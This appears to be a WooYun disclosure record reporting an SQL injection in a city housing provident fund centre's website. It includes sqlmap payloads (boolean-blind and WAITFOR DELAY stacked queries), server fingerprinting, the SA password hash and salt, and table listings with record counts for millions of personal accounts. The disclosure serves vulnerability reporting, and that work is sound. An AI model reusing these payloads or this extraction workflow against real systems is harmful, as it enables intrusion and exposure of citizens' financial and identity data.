当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0191218

漏洞标题：某市住房公积金管理中心注入漏洞(SA)涉及700W+账户记录加58W+公积金信息(名字/金额/身份证/公司等信息)

相关厂商：某市住房公积金管理中心

漏洞作者： 路人甲

提交时间：2016-04-01 00:00

修复时间：2016-05-20 18:40

公开时间：2016-05-20 18:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-01： 细节已通知厂商并且等待厂商处理中
2016-04-05： 厂商已经确认，细节仅向厂商公开
2016-04-15： 细节向核心白帽子及相关领域专家公开
2016-04-25： 细节向普通白帽子公开
2016-05-05： 细节向实习白帽子公开
2016-05-20： 细节向公众公开

简要描述：

如题、、、

详细说明：

某市住房公积金管理中心注入漏洞(SA)，泄露700W+账户记录加58W+公积金信息(名字/金额/身份证/公司等信息)。。。
注入点：http://**.**.**.**/List/DownLoadCenterDetails?id=5EBC88CC-A248-41FD-9703-7FD6CC454628 用神器SQLMAP 跑了一下发现SA权限、、、直接可以跑出大量敏感的信息，包括公积金金额、居民身份证、名字、所在单位公司名字等等信息。。。
+-----------------------------------------+---------+
| Table | Entries |
+-----------------------------------------+---------+
| dbo.Fq_PersonAccountDetails | 7130445 |
| dbo.Fq_LoanDetails | 889789 |
| dbo.Fq_FundAccountsInfo | 580320 |
| dbo.Im_PFAccountContrast | 575657 |

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=225028E4-CA12-4EF0-9AD9-F817F3539525' AND 9621=9621 AND 'EhJf'='
EhJf
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id=225028E4-CA12-4EF0-9AD9-F817F3539525'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=225028E4-CA12-4EF0-9AD9-F817F3539525' WAITFOR DELAY '0:0:5'--
---
[07:57:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NET
back-end DBMS: Microsoft SQL Server 2005
available databases [7]:
[*] AdventureWorks
[*] AdventureWorksDW
[*] GIOT_QZgjj
[*] master
[*] model
[*] msdb
[*] tempdb
current database:    'GIOT_QZgjj'
current user:    'sa'
database management system users password hashes:
[*] sa [1]:
    password hash: 0x01004086ceb659f0af51ae621f0e86391ef163ba496c273d29ec
        header: 0x0100
        salt: 4086ceb6
        mixedcase: 59f0af51ae621f0e86391ef163ba496c273d29ec
[09:10:38] [INFO] testing if current user is DBA
database management system users privileges:
[*] sa (administrator)
Database: GIOT_QZgjj
[88 tables]
+-------------------------------------+
| Bi_Company                          |
| Bi_CompanySort                      |
| Bi_Department                       |
| Bi_DicType                          |
| Bi_DicValue                         |
| Bi_EmployeeInfo                     |
| Bi_NotWorkDay                       |
| Bi_Position                         |
| Cp_OverviewManagement               |
| Cp_ProvidentFundCard                |
| Cs_LendingRates                     |
| Cs_LendingYearRates                 |
| Fq_AccountsSMS                      |
| Fq_CompanyAccountsInfo              |
| Fq_CompanyAcountsInfoPro            |
| Fq_FundAccountsInfo                 |
| Fq_FundAccountsInfoPro              |
| Fq_LoanAccount                      |
| Fq_LoanAccountContrast_V            |
| Fq_LoanAccountPro                   |
| Fq_LoanAccountProNew_V              |
| Fq_LoanAccountProNo_V               |
| Fq_LoanBank                         |
| Fq_LoanDetailSMS                    |
| Fq_LoanDetails                      |
| Fq_LoanDetailsPro                   |
| Fq_LoanHandleProgress               |
| Fq_LoanHandleProgressPro            |
| Fq_ManagementDept                   |
| Fq_PFPersonAccountProNo_V           |
| Fq_PersonAccountDetails             |
| Fq_PersonAccountDetailsPro          |
| Fq_PersonAccountNew_V               |
| Fq_WhichLinks                       |
| Ic_ComplaintsRights                 |
| Ic_ConsultingInteractive            |
| Ic_ReplyQuestion                    |
| Im_AnnouncementPublicity            |
| Im_CanGoodsProperty                 |
| Im_CategoryManagement               |
| Im_CustomerInfo                     |
| Im_DownloadCenter                   |
| Im_Floatage                         |
| Im_FundCreditBlacklist              |
| Im_GovernmentInformationDisclosure  |
| Im_LawGuide                         |
| Im_Links                            |
| Im_PFAccountContrast                |
| Im_PaymentHandlingProgressPublicity |
| Im_PoliciesRegulations              |
| Im_RotationDiagram                  |
| Im_SearchKeywords                   |
| Im_SpecialTopic                     |
| Im_VerificationManage               |
| Im_WorkDynamics                     |
| Pf_AccountContrast_V                |
| Rs_HomeServiceReservationManage     |
| Rs_ReservationManage                |
| Rs_ReservationManageDepartment      |
| Rs_ReservationNumberLimit           |
| Rs_SMSTemplates                     |
| Sa_ControlInfo                      |
| Sa_LoginControl                     |
| Sa_ParameterConfiguration           |
| Sa_Privilege_Company_Handle         |
| Sa_UpdateLog                        |
| Sa_UserInfo                         |
| Sh_ComCustomerInfo                  |
| Sh_Persom                           |
| Sh_PersonChangePayListDetail        |
| Sh_PersonFundChangeDetail           |
| Sh_Settings                         |
| bo.Sh_PersonFundChange              |
| sa_LogError                         |
| sa_LogHandle                        |
| sa_LogHandle_Report                 |
| sa_LogLoa                           |
| sa_LogLogin_Report                  |
| sa_Menu_Handle_Tree_View            |
| sa_OnLiner                          |
| sa_Role_User                        |
| sa_Role_User_v                      |
| sa_handle_Guid                      |
| sa_menu_Guid                        |
| sa_privilege_Handle                 |
| sa_privilege_Handle_v               |
| sa_role                             |
| sa_user_menu                        |
+-------------------------------------+


2.png


3.png


4.png


5.png


漏洞证明：

具体的跑出的数据如下：

Database: GIOT_QZgjj
+-----------------------------------------+---------+
| Table                                   | Entries |
+-----------------------------------------+---------+
| dbo.Fq_PersonAccountDetails             | 7130445 |
| dbo.Fq_LoanDetails                      | 889789  |
| dbo.Fq_FundAccountsInfo                 | 580320  |
| dbo.Im_PFAccountContrast                | 575657  |
| dbo.Im_VerificationManage               | 273258  |
| dbo.Fq_AccountsSMS                      | 209707  |
| dbo.Pf_AccountContrast_V                | 120413  |
| dbo.Fq_LoanHandleProgress               | 97543   |
| dbo.Im_CustomerInfo                     | 63783   |
| dbo.Fq_LoanAccount                      | 60268   |
| dbo.Fq_LoanDetailSMS                    | 55956   |
| dbo.Fq_LoanAccountContrast_V            | 22150   |
| dbo.Fq_LoanDetailsPro                   | 4200    |
| dbo.Ic_ConsultingInteractive            | 1714    |
| dbo.Sa_LoginControl                     | 1160    |
| dbo.sa_OnLiner                          | 475     |
| dbo.sa_privilege_Handle                 | 438     |
| dbo.sa_privilege_Handle_v               | 438     |
| dbo.Ic_ReplyQuestion                    | 330     |
| dbo.Im_SpecialTopic                     | 321     |
| dbo.sa_Menu_Handle_Tree_View            | 287     |
| dbo.Im_WorkDynamics                     | 285     |
| dbo.sa_LogError                         | 252     |
| dbo.sa_handle_Guid                      | 202     |
| dbo.sa_LogHandle                        | 116     |
| dbo.Im_AnnouncementPublicity            | 114     |
| dbo.Im_CanGoodsProperty                 | 105     |
| dbo.sa_menu_Guid                        | 85      |
| dbo.Ic_ComplaintsRights                 | 84      |
| dbo.Im_PoliciesRegulations              | 74      |
| dbo.Im_CategoryManagement               | 65      |
| dbo.Sh_Settings                         | 52      |
| dbo.Rs_ReservationManage                | 50      |
| dbo.Im_LawGuide                         | 45      |
| dbo.Fq_LoanBank                         | 34      |
| dbo.Im_DownloadCenter                   | 25      |
| dbo.Im_GovernmentInformationDisclosure  | 19      |
| dbo.Cp_ProvidentFundCard                | 14      |
| dbo.Fq_ManagementDept                   | 13      |
| dbo.Im_PaymentHandlingProgressPublicity | 13      |
| dbo.sa_LogLogin_Report                  | 12      |
| dbo.Sa_UserInfo                         | 12      |
| dbo.Rs_HomeServiceReservationManage     | 11      |
| dbo.Rs_ReservationManageDepartment      | 11      |
| dbo.Bi_EmployeeInfo                     | 10      |
| dbo.Im_RotationDiagram                  | 10      |
| dbo.Rs_ReservationNumberLimit           | 10      |
| dbo.sa_Role_User                        | 10      |
| dbo.sa_Role_User_v                      | 10      |
| dbo.Im_Links                            | 9       |
| dbo.Fq_WhichLinks                       | 8       |
| dbo.Rs_SMSTemplates                     | 7       |
| dbo.Sa_ControlInfo                      | 7       |
| dbo.Sa_Privilege_Company_Handle         | 7       |
| dbo.Sa_ParameterConfiguration           | 6       |
| dbo.Im_SearchKeywords                   | 4       |
| dbo.sa_LogHandle_Report                 | 4       |
| dbo.Bi_Company                          | 3       |
| dbo.Bi_Department                       | 3       |
| dbo.Bi_DicType                          | 3       |
| dbo.Bi_DicValue                         | 3       |
| dbo.Cp_OverviewManagement               | 3       |
| dbo.Bi_CompanySort                      | 2       |
| dbo.Cs_LendingYearRates                 | 2       |
| dbo.sa_role                             | 2       |
| dbo.Sh_ComCustomerInfo                  | 2       |
| dbo.Sh_PersonChangePayListDetail        | 2       |
| dbo.Bi_NotWorkDay                       | 1       |
| dbo.Cs_LendingRates                     | 1       |
| dbo.Im_Floatage                         | 1       |
+-----------------------------------------+---------+


5.png


6.png


7.png


修复方案：

过滤吧、、、

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-04-05 18:31

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT下发给福建分中心,由其后续协调网站管理单位处置.

最新状态：

暂无